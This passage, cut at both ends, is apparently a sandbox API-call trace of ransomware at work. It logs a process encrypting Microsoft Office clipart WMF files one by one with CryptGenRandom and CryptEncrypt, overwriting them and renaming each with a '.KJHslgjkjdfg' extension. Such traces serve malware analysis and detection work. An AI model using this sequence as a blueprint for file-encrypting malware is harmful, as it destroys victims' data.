SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.176] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.178] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.178] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.178] GetProcessHeap () returned 0x2a0000 [0189.178] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.178] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.178] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.178] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.178] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.178] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.178] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.179] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.179] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.179] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.179] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.179] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.179] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x60c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x60c, lpOverlapped=0x0) returned 1 [0189.179] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x610, dwBufLen=0x610 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x610) returned 1 [0189.179] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.179] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x610, lpOverlapped=0x0) returned 1 [0189.179] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.179] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.179] SetEndOfFile (hFile=0x114) returned 1 [0189.182] GetProcessHeap () returned 0x2a0000 [0189.182] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.182] GetProcessHeap () returned 0x2a0000 [0189.182] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf.kjhslgjkjdfg")) returned 1 [0189.184] CloseHandle (hObject=0x114) returned 1 [0189.184] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd76600, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7cd76600, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x1b04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL01394_.WMF", cAlternateFileName="")) returned 1 [0189.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.186] GetProcessHeap () returned 0x2a0000 [0189.187] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.187] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.187] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.187] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0189.189] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.189] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.189] GetProcessHeap () returned 0x2a0000 [0189.189] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.189] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.189] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.189] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.189] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.189] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.189] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.190] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.190] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.190] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.190] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.190] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.190] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1b04, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1b04, lpOverlapped=0x0) returned 1 [0189.191] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b10, dwBufLen=0x1b10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b10) returned 1 [0189.191] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.191] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b10, lpOverlapped=0x0) returned 1 [0189.191] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.191] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.191] SetEndOfFile (hFile=0x114) returned 1 [0189.194] GetProcessHeap () returned 0x2a0000 [0189.194] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.194] GetProcessHeap () returned 0x2a0000 [0189.194] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.194] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf.kjhslgjkjdfg")) returned 1 [0189.195] CloseHandle (hObject=0x114) returned 1 [0189.195] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747f2b00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x747f2b00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL01395_.WMF", cAlternateFileName="")) returned 1 [0189.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.197] GetProcessHeap () returned 0x2a0000 [0189.197] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.197] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.197] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.197] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.199] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.199] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.199] GetProcessHeap () returned 0x2a0000 [0189.199] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.199] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.199] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.199] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.199] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.199] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.199] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.199] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.199] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.199] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.199] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.199] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.199] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x138c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x138c, lpOverlapped=0x0) returned 1 [0189.200] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1390, dwBufLen=0x1390 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1390) returned 1 [0189.200] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.200] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1390, lpOverlapped=0x0) returned 1 [0189.200] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.200] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.200] SetEndOfFile (hFile=0x114) returned 1 [0189.202] GetProcessHeap () returned 0x2a0000 [0189.202] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.203] GetProcessHeap () returned 0x2a0000 [0189.203] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.203] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf.kjhslgjkjdfg")) returned 1 [0189.204] CloseHandle (hObject=0x114) returned 1 [0189.204] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6cc4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL01565_.WMF", cAlternateFileName="")) returned 1 [0189.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.205] GetProcessHeap () returned 0x2a0000 [0189.205] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.205] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.205] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.205] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0189.207] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.207] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.207] GetProcessHeap () returned 0x2a0000 [0189.207] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.207] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.207] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.207] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.207] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.207] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.207] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.207] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.207] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.207] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.207] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.207] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.207] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6cc4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6cc4, lpOverlapped=0x0) returned 1 [0189.209] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6cd0, dwBufLen=0x6cd0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6cd0) returned 1 [0189.209] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.209] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6cd0, lpOverlapped=0x0) returned 1 [0189.209] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.209] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6da4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.209] SetEndOfFile (hFile=0x114) returned 1 [0189.211] GetProcessHeap () returned 0x2a0000 [0189.211] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.211] GetProcessHeap () returned 0x2a0000 [0189.211] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.211] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf.kjhslgjkjdfg")) returned 1 [0189.213] CloseHandle (hObject=0x114) returned 1 [0189.213] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a6e400, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8a6e400, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x36aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00017_.WMF", cAlternateFileName="")) returned 1 [0189.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.215] GetProcessHeap () returned 0x2a0000 [0189.215] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.216] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.216] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.216] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0189.218] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.218] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.218] GetProcessHeap () returned 0x2a0000 [0189.218] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.218] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.218] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.218] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.218] WriteFile (in: hFile=0x114, 